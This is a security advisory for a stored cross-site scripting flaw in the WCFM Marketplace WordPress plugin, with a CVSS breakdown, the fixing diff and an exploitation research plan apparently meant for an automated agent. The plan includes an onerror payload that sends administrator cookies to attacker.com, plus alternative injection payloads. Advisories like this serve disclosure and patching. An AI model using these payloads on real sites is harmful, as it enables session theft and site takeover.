CVE-2026-12126

WCFM Marketplace <= 3.7.3 - Authenticated (Vendor+) Stored Cross-Site Scripting via Attachment 'post_title'

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
3.7.4
Patched in
1d
Time to patch

Description

The WCFM Marketplace – Multivendor Marketplace for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Attachment 'post_title' in all versions up to, and including, 3.7.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Vendor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. An attacker can plant the payload by uploading a media attachment with a crafted title via the WordPress REST API (/wp-json/wp/v2/media), without ever invoking the AJAX endpoint themselves, as the unescaped title is later emitted inside DataTables JSON and inserted as innerHTML upon any privileged user loading the media dashboard.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.7.3
PublishedJuly 10, 2026
Last updatedJuly 11, 2026

What Changed in the Fix

Changes introduced in v3.7.4

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-12126 (WCFM Marketplace Stored XSS) ## 1. Vulnerability Summary The **WCFM Marketplace** plugin is vulnerable to **Stored Cross-Site Scripting (XSS)** via the `post_title` of media attachments. The vulnerability exists in the `WCFMmp_Media_Controller::processi…

Show full research plan

Exploitation Research Plan: CVE-2026-12126 (WCFM Marketplace Stored XSS)

1. Vulnerability Summary

The WCFM Marketplace plugin is vulnerable to Stored Cross-Site Scripting (XSS) via the post_title of media attachments. The vulnerability exists in the WCFMmp_Media_Controller::processing() method. When the media dashboard is loaded, the plugin retrieves attachments and builds a JSON response for a DataTables-based UI. The post_title of the attachment is concatenated into the HTML structure within the JSON without sanitization or output escaping. Because the frontend UI (likely DataTables) inserts this content into the DOM using a method like innerHTML, arbitrary JavaScript can be executed in the context of any privileged user (such as an Administrator) viewing the media dashboard.

2. Attack Vector Analysis

  • Vulnerable Endpoint: WordPress REST API /wp-json/wp/v2/media (for planting) and the WCFM Media Dashboard (for execution).
  • Vulnerable Parameter: title (REST API) which maps to post_title in the database.
  • Authentication Level: Vendor or higher. Vendors have the default capability to upload media files to the WordPress library.
  • Preconditions: The WCFM Marketplace plugin must be active, and a Vendor account must be available.
  • Execution Trigger: A privileged user (Admin or Manager) must navigate to the WCFM Media Dashboard (/wp-admin/admin.php?page=wcfm-media or the frontend equivalent).

3. Code Flow

  1. Storage: The attacker uses the WordPress REST API (/wp-json/wp/v2/media) to upload an image or update an existing attachment's title to a malicious payload.
  2. Retrieval: When a user loads the WCFM Media Dashboard, an AJAX request is made to the WCFM controller.
  3. Processing: controllers/media/wcfmmp-controller-media.php - WCFMmp_Media_Controller::processing():
    • Line 47: $wcfm_media_array = get_posts( $args ); fetches the attachments.
    • Line 72: Iterates through $wcfm_media_array.
    • Line 126: The Sink
      $wcfm_media_json_arr[$index][] = '<span class="wcfmmp_media_name">' . $wcfm_media_single->post_title . "</span><br />(" . $type . ")";
      
      The raw post_title is concatenated directly into the HTML string.
    • Line 160: $wcfm_media_json .= json_encode($wcfm_media_json_arr);
    • Line 164: echo $wcfm_media_json;
  4. Execution: The frontend JavaScript receives this JSON. DataTables renders the data array. Since the payload is wrapped in HTML tags within the JSON string, the browser executes the script when it is injected into the table.

4. Nonce Acquisition Strategy

The planting phase uses the standard WordPress REST API.

  1. For Planting (REST API):
    • The REST API requires a _wpnonce header (X-WP-Nonce) for cookie-authenticated requests.
    • The execution agent should navigate to /wp-admin/ as a Vendor.
    • Use browser_eval to extract the REST nonce from the WordPress settings object:
      browser_eval("wpApiSettings.nonce")
  2. For Execution (WCFM Dashboard):
    • No nonce is required to trigger the XSS; the payload is stored and will execute automatically when the victim loads the page.

5. Exploitation Strategy

Step 1: Upload/Modify Media via REST API

  • Tool: http_request
  • Method: POST
  • URL: http://vulnerable-wp.local/wp-json/wp/v2/media
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [EXTRACTED_NONCE]
  • Body:
    {
      "title": "Malicious Image <img src=x onerror='fetch(\"http://attacker.com/log?c=\" + document.cookie)'>",
      "media_attachment": "[BASE64_IMAGE_DATA_OR_FILE_PATH]"
    }
    

Note: If an image already exists, the attacker can use a POST request to /wp-json/wp/v2/media/<id> just to update the title.

Step 2: Trigger Execution

  • Action: Log in as Administrator.
  • Navigate: Navigate to the WCFM Media Dashboard. The URL is typically: http://vulnerable-wp.local/wp-admin/admin.php?page=wcfm-media.
  • Result: The DataTables component will fetch the media list, receive the malicious post_title, and render the onerror payload.

6. Test Data Setup

  1. Create Vendor User:
    wp user create attacker vendor@example.com --role=wcfm_vendor --user_pass=password
    
  2. Active Plugin: Ensure wc-multivendor-marketplace is active.
  3. Identify Shortcode: The WCFM dashboard usually relies on the [wcfm_media] shortcode if used on the frontend. If testing in the backend, no shortcode is needed.

7. Expected Results

  • The AJAX response from the media controller will contain the unescaped payload:
    "data": [["...", "<span class=\"wcfmmp_media_name\">Malicious Image <img src=x onerror=...<\/span>"]]
  • When viewed by an Administrator, the browser will attempt to load the broken image and execute the onerror handler.
  • The onerror handler will fire, demonstrating XSS (e.g., an alert or a callback to a listener).

8. Verification Steps

  1. Check Database: Verify the payload is stored exactly as sent.
    wp db query "SELECT post_title FROM wp_posts WHERE post_type='attachment' ORDER BY ID DESC LIMIT 1"
    
  2. Verify Output: Use the http_request tool as an Admin to call the WCFM AJAX controller directly and check for the unescaped string in the JSON.
    • Action: wcfm_ajax_controller
    • Controller: wcfm-media
    • Look for: <img src=x onerror= in the response body.

9. Alternative Approaches

  • SVG Upload: If the vendor is permitted to upload SVGs, an SVG with an embedded <script> tag could be uploaded. However, the post_title vector is more reliable as it doesn't depend on the browser's handling of SVG files, but rather on WCFM's rendering logic.
  • Filename Injection: If the post_title defaults to the filename, the attacker can upload a file named "><img src=x onerror=alert(1)>.jpg. WCFM might use the filename as the title if the metadata is not explicitly provided in the REST call.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WCFM Marketplace plugin for WordPress is vulnerable to Stored Cross-Site Scripting via media attachment titles in versions up to and including 3.7.3. This vulnerability allows authenticated Vendors to inject malicious scripts through the WordPress REST API, which then execute in the context of a privileged user (such as an administrator) when they access the WCFM Media Dashboard.

Vulnerable Code

// controllers/media/wcfmmp-controller-media.php line 125
// File
$wcfm_media_json_arr[$index][] = '<span class="wcfmmp_media_name">' . $wcfm_media_single->post_title . "</span><br />(" . $type . ")";

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wc-multivendor-marketplace/3.7.3/controllers/media/wcfmmp-controller-media.php /home/deploy/wp-safety.org/data/plugin-versions/wc-multivendor-marketplace/3.7.4/controllers/media/wcfmmp-controller-media.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wc-multivendor-marketplace/3.7.3/controllers/media/wcfmmp-controller-media.php	2026-05-20 06:33:22.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wc-multivendor-marketplace/3.7.4/controllers/media/wcfmmp-controller-media.php	2026-06-28 09:03:24.000000000 +0000
@@ -114,21 +114,21 @@
 					default:
 						$media =  $base . "default.png";
 				}
-				$wcfm_media_json_arr[$index][] = '<a class="wcfmmp-author-img" target="_blank" href="' . wp_get_attachment_url( $wcfm_media_single->ID ) . '" ><img width="75" src="' . esc_url($media) . '" /></a>';
-				
+				$wcfm_media_json_arr[$index][] = '<a class="wcfmmp-author-img" target="_blank" href="' . esc_url( wp_get_attachment_url( $wcfm_media_single->ID ) ) . '" ><img width="75" src="' . esc_url( $media ) . '" /></a>';
+
 				// File
-				$wcfm_media_json_arr[$index][] = '<span class="wcfmmp_media_name">' . $wcfm_media_single->post_title . "</span><br />(" . $type . ")";
-				
+				$wcfm_media_json_arr[$index][] = '<span class="wcfmmp_media_name">' . esc_html( $wcfm_media_single->post_title ) . "</span><br />(" . esc_html( $type ) . ")";
+
         // Associate
         if( $wcfm_media_single->post_parent ) {
-					$wcfm_media_json_arr[$index][] = '<a class="wcfmmp-author-img" target="_blank" href="' . get_permalink( $wcfm_media_single->post_parent ) . '" >' . get_the_title( $wcfm_media_single->post_parent ) . '</a>';
+					$wcfm_media_json_arr[$index][] = '<a class="wcfmmp-author-img" target="_blank" href="' . esc_url( get_permalink( $wcfm_media_single->post_parent ) ) . '" >' . esc_html( get_the_title( $wcfm_media_single->post_parent ) ) . '</a>';
 				} else {
 					$wcfm_media_json_arr[$index][] = '&ndash;';
 				}
         
         // Store
         if( $wcfm_media_single->post_author && wcfm_is_vendor($wcfm_media_single->post_author) ) {
-					$wcfm_media_json_arr[$index][] = $WCFM->wcfm_vendor_support->wcfm_get_vendor_store_by_vendor( absint($wcfm_media_single->post_author) );
+					$wcfm_media_json_arr[$index][] = wp_kses_post( $WCFM->wcfm_vendor_support->wcfm_get_vendor_store_by_vendor( absint($wcfm_media_single->post_author) ) );
 				} else {
 					$wcfm_media_json_arr[$index][] = '&ndash;';
 				}
@@ -143,13 +143,12 @@
 				}
         
 				// Status
-				$actions = '<a class="wcfm-action-icon" target="_blank" href="' . wp_get_attachment_url( $wcfm_media_single->ID ) . '" ><span class="wcfmfa fa-eye text_tip" data-tip="' . esc_attr__( 'View', 'wc-frontend-manager' ) . '"></span></a>';
+				$actions = '<a class="wcfm-action-icon" target="_blank" href="' . esc_url( wp_get_attachment_url( $wcfm_media_single->ID ) ) . '" ><span class="wcfmfa fa-eye text_tip" data-tip="' . esc_attr__( 'View', 'wc-frontend-manager' ) . '"></span></a>';
 				
 				if( apply_filters( 'wcfm_is_allow_delete_media', true ) ) {
 					$actions .= '<a class="wcfm_media_dalete wcfm-action-icon" href="#" data-mediaid="' . $wcfm_media_single->ID . '"><span class="wcfmfa fa-trash-alt text_tip" data-tip="' . esc_attr__( 'Delete', 'wc-multivendor-marketplace' ) . '"></span></a>';
 				}
-				$wcfm_media_json_arr[$index][] =  $actions;
-				
+				$wcfm_media_json_arr[$index][] = apply_filters ( 'wcfm_media_actions', $actions, $wcfm_media_single->ID );
 				$index++;
 			}											
 		}

Exploit Outline

The exploit occurs in two phases: planting and execution. 1. Planting: An attacker authenticated as a Vendor extracts a REST API nonce and sends a POST request to the WordPress media REST API (/wp-json/wp/v2/media). The request sets the 'title' attribute of a media attachment to a malicious XSS payload (e.g., <img src=x onerror=alert(document.domain)>). 2. Execution: The malicious payload is stored in the database. When an administrator navigates to the WCFM Media Dashboard (/wp-admin/admin.php?page=wcfm-media), the plugin's AJAX controller fetches the media details. The raw, unescaped 'post_title' is returned inside a JSON string. The frontend renders this content directly into a DataTables UI component as HTML, triggering the script in the administrator's session.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.